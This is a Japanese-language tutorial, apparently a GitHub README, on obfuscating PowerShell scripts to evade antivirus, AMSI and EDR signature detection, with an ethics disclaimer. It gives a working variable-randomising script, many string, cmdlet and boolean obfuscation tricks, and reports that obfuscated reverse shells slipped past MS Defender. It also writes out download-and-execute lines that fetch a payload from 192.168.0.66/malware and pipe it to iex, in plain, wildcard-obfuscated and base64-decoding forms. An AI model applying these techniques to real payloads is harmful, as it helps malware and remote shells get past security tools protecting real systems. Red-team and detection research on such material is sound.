PowerShell スクリプトを手動で難読化し、シグネチャベースの検知を回避するためのテクニック、実例、そして少しの理論をまとめた教育目的のコレクションです。このリポジトリの内容は個人調査の結果であり、オンライン資料の読解や、ラボやペンテストでの試行錯誤を含みます。何を鵜呑みにしないでください。
YouTube 動画プレゼンテーション: youtube.com/watch?v=tGFdmAh_lXE
⚠️ 免責事項: このリポジトリに記載された技術や概念を、テスト許可のないシステムへの不正アクセスに使用することは違法です。行動の責任はあなたにあります。邪悪にならないでください。
エントロピーという科学用語は、一般にシステムのランダム性または無秩序さの尺度と定義され、AV回避において重要です。なぜなら、マルウェアは分析や検知を困難にするために、高度にランダム化・暗号化・エンコード(難読化)されたコードを含むことが多いからです。アンチウイルス製品は、さまざまな方法の1つとして、エントロピー分析を使用して潜在的に悪意のあるファイルやペイロードを識別します。
この概念を理解することは重要です。コードを難読化する際、自分が選んだ変更によって生じるエントロピーの変動に注意する必要があるからです。シグネチャを破るのは簡単ですが、エントロピーレベルに注意を払わなければ、高度なAV/EDRはそれを見抜きます。
心に留めておくべき原則: エントロピーが大きいほど、データが難読化または暗号化されている可能性が高く、ファイル/ペイロードが悪意のあるものである可能性が高くなります。幸い、それを下げる方法があります。
Claude E. Shannon は、1948年の論文 A Mathematical Theory of Communication で、データセット内のエントロピーを測定するために使用できる公式を紹介しました。以下は、開発するペイロードのエントロピーを測定するために使用できる Shannon Entropy のシンプルなPython実装です:
#!/bin/python3
# Usage: python3 entropy.py <file>
import math, sys
def entropy(string):
"Calculates the Shannon entropy of a UTF-8 encoded string"
# decode the string as UTF-8
unicode_string = string.decode('utf-8')
# get probability of chars in string
prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
# calculate the entropy
entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
return entropy
f = open(sys.argv[1], 'rb')
content = f.read()
f.close()
print(entropy(content))
オンラインの Shannon Entropy calculator または Microsoft の Sigcheck.exe を -a オプション付きで使用することもできます。
フラグされないペイロードのバリエーションを生み出すために試行錯誤の難読化テストに飛び込む前に、成熟したエレガントな方法は、スクリプト内でマルウェア検知をトリガーする部分を特定することです。特にC2コマンドのような短いスクリプトでは、些細な変更を加えるだけで即座にレーダーから外れるかもしれません。
そのようなトリガーを特定するための優れたツールは AMSITrigger です。悪意のあるスクリプトを含むファイルでの使用例を示します。赤い領域は難読化を適用すべき部分を示しています:

スクリプトをチャンクごとに実行して手動でトリガーを特定することもできます。
スクリプトを難読化する際、変数/クラス/関数名をランダムなものに置き換えることを優先すべきです。そうすることで、他のテクニックと組み合わせて、簡単に検知を回避できます。ただし、開発するペイロードのエントロピーに注意する必要があります。次の標準的なリバースシェルスクリプトを考えてみてください。これは、すべてではないにしてもほとんどのAVに検知される一般的なものです:

次に、以下の難読化バージョンを考えてみましょう:

このバージョンでは、すべての変数名が32文字のランダムな名前に置き換えられています。また、(pwd).Path を $(gl) に置き換えました。このペイロードのShannon entropyは4.96です。これを書いている時点では、MS Defender や他の多くの製品に検知されていません:

次にこのバージョンを考えてみましょう:

このバリエーションもすべての変数名が置き換えられていますが、今回は 'f' 文字を x 個並べた名前になっており、その結果ペイロードのエントロピーが大幅に低下しています。ここでも (pwd).Path を $(gl) に置き換えました。繰り返しますが、これを書いている時点で MS Defender には検知されていません。このペイロードのShannon entropyは0.76です。

⚡ これらのバリエーションはどちらも一般的なAVを回避できますが、2番目のものはエントロピーが低く、EDRや他の高度なアンチマルウェアエンジンによって処理される際により良い可能性があります。⚠️ この例における2番目のペイロードのパフォーマンスが優れているのは、確かにエントロピーレベルのせいだと言っているわけではありません(実際には長さやその両方、あるいは何か他の理由かもしれません)。しかし、難読化する際に念頭に置くべき重要な側面であり、この例はその概念を強調するためのものです。
以下のスクリプトを使用して、PowerShellスクリプト内の変数名をランダム化できます。⚠️ このスクリプトは完璧ではありません!大規模で複雑なPowerShellスクリプトに対して実行すると、置き換えるべきでないものまで置き換えて機能を壊す可能性があります。注意して使用してください。
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>
import re
from sys import argv
from uuid import uuid4
def get_file_content(path):
f = open(path, 'r')
content = f.read()
f.close()
return content
def main():
payload = get_file_content(argv[1])
used_var_names = []
# Identify variables definitions in script
variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
variable_definitions.sort(key=len)
variable_definitions.reverse()
# Replace variable names
for var in variable_definitions:
var = var.strip("\n \r\t=")
while True:
new_var_name = uuid4().hex
if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
continue
else:
used_var_names.append(new_var_name)
break
payload = payload.replace(var, f'${new_var_name}')
print(payload + '\n')
main()
$True と $False の値を他のブール等価表現に置き換えるのは、とても楽しく簡単で、その数は文字通り無限です。特に、ペイロード内の検知トリガーを特定し、それに $True または $False の値が含まれている場合、単にブール代替表現に置き換えるだけで検知を回避できる可能性があります。以下の例はすべて True と評価されます。式の前に感嘆符を追加するだけで False に反転できます(例: ![bool]0x01):
0、Null、空文字列以外の任意のもののブール型キャストは True を返します:[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/-12354893) # Boolean typecast of a negative number
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]
# Well, you get the point.
True を返します:[bool][bool]
[bool][char]
[bool][int]
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
True と評価される比較の結果(当然):(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
True 値を取得するだけでも構いません:$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
True または False を表現する不格好な方法を構成することで、奇妙なことをさらに奇妙にできます:[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%21%5Bbool%5D%24null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]
コマンドレットの文字の間に、先頭でなければ単一引用符や二重引用符を追加することで、コマンドレットを難読化できます。非常に効果的です!例えば、式 iex "pwd" は次のように置き換えられます:
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"
# and so on... but also:
i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""
# You get the point.
これは少し汚いですが、役立つかもしれません。Windows CMD ターミナルでは、コマンドの文字の間にキャレット(^)記号を挿入しても、通常どおり解釈されます。PowerShell スクリプトでこれを利用する方法の1つは次のとおりです:
cmd /c "who^am^i"

私の友人であり強力なハッカーである Karol Musolff (@kmusolff) が教えてくれた本当にクールなトリックです。Get-Command(または gcm)を使用して、ワイルドカードを使うことで、Path 環境変数 ($env:Path) 内のすべての非PowerShellファイルを含む、任意のコマンドの名前(文字列)を取得できます。その後、& 演算子でジョブとして実行できます。例えば、次の行:
Invoke-RestMethod -uri https://192.168.0.66/malware | iex
次のように難読化できます:
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
あるいはさらに良い、Shannon entropy 値がより低い次のもの:
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
特定のループは、他のループタイプや関数に置き換えることができます。例えば、While ($True){ # some code } ループは次のように置き換えられます:
無限 For ループ
For (;;) { # some code }
Do-While ループ
Do { # some code } While ($true)
Do-Until ループ
Do { # some code } Until (1 -eq 2)
再帰関数
function runToInfinity {
# do something;
runToInfinity;
}
コマンドレットにパラメータを追加してみることができます。例えば、次の行:
iex "whoami"
次のように拡張できます:
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
もちろん、その逆を試しても構いません。
スクリプトにランダムな変数や関数を「混入」させることができます。次のスクリプトを悪意のあるものと仮定します:
$b64 = $(irm -uri http://192.168.0.66/malware);
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;
次のようなことをすることで、そのシグネチャを壊せるかもしれません:
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;
スクリプト内で、同じ/類似の機能を持つコンポーネントに置き換えられるコマンドやコードブロック全体を常に探すことができます。次の古典的なリバースシェルスクリプトでは、現在の作業ディレクトリを取得してシェルのプロンプト値を再構築するために pwd コマンドが使用されています:

(pwd).Path の部分は、次の風変わりで型にはまらない小さなスクリプトに置き換えることができます。これには pwd さえ含まれていますが、スクリプトの機能を維持しながらシグネチャを壊すという目的には役立ちます:
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
もちろん、pwd のより単純な代替として gl、get-location、cmd.exe /c chdir などもあります。特に他のテクニックと組み合わせることで効果を発揮するでしょう。
文字列でできることには終わりがありません。以下にいくつかの興味深いコンセプトを示します。例では文字列 'malware' を使用しています:
数行の追加を犠牲にして、文字列をヒア文字列に変換できます。
これ:
$x = 'echo malware';
iex $x;
は以下と同じです:
$x = 'echo malware';
iex @"
$x
"@
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
非常に単純で古典的:
'mal' + 'w' + 'ar' + 'e'
無関係な文字列の間に目的の値を追加し、substring() を使用して開始位置と終了位置のインデックスに基づいて抽出します:
'xxxmalwarexxx'.Substring(3,7)
ジャンク文字列を作成し、正規表現マッチングを介して目的の値に置き換えます:
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
文字列をエンコードし、スクリプト内でデコードします:
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/main/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x65))"
これはほんの入り口にすぎません。続く...
スクリプトのあちこちにコメントを追加して難読化するだけで、それ自体が効果を発揮するかもしれません。
例えば、リバースシェルコマンドは次のように難読化できます:

<# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> を追加)
これは効果があるだけでなく、ペイロードのShannon entropy値も下げます(複雑なランダムコメントを使用しない場合)。
即座にAMSIをトリガーするマルウェアっぽい文字列があります。スクリプトを難読化する際は、それらを置き換えることを優先すべきです。これを見てください:

ターミナルに 'invoke-mimikatz' という文字列を入力するだけで、AMSIは発作を起こします(スクリプトは存在すらしていません/ロードされていません)。
これらの文字列はコメントにも含まれている場合があるため、特にインターネットから入手したFOSリソース(例: GitHub の Invoke-Mimikatz.ps1)からは削除することをお勧めします。
*一般的にコメントを削除するのは良い考えです。これは単なる例です。
おそらく最も古典的なトリックです。コマンドレットやパラメータの文字の大文字小文字をランダム化すると効果があるかもしれません:
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
単に変数やクラスを別の場所に移動するだけで効果がある場合があります。特に、検知トリガーを見つけ、それがスクリプトの先頭など別の場所で行われている可能性のある変数定義を含む場合に有効です。
場合によっては、悪意のあるスクリプトを単純に1行ずつ実行するだけでAV回避を達成できることがあります。もちろん、状況によってはこれをやり遂げるのは難しいかもしれません。試す場合は、ループ、try-catchブロック、条件文、関数定義など、全体として実行する必要があるスクリプトブロックに注意してください。これをテストするには、一般的なPowerShellリバースシェルスクリプト(難読化なし)を取得して1行ずつ実行してみてください。フラグされるでしょうか? ;)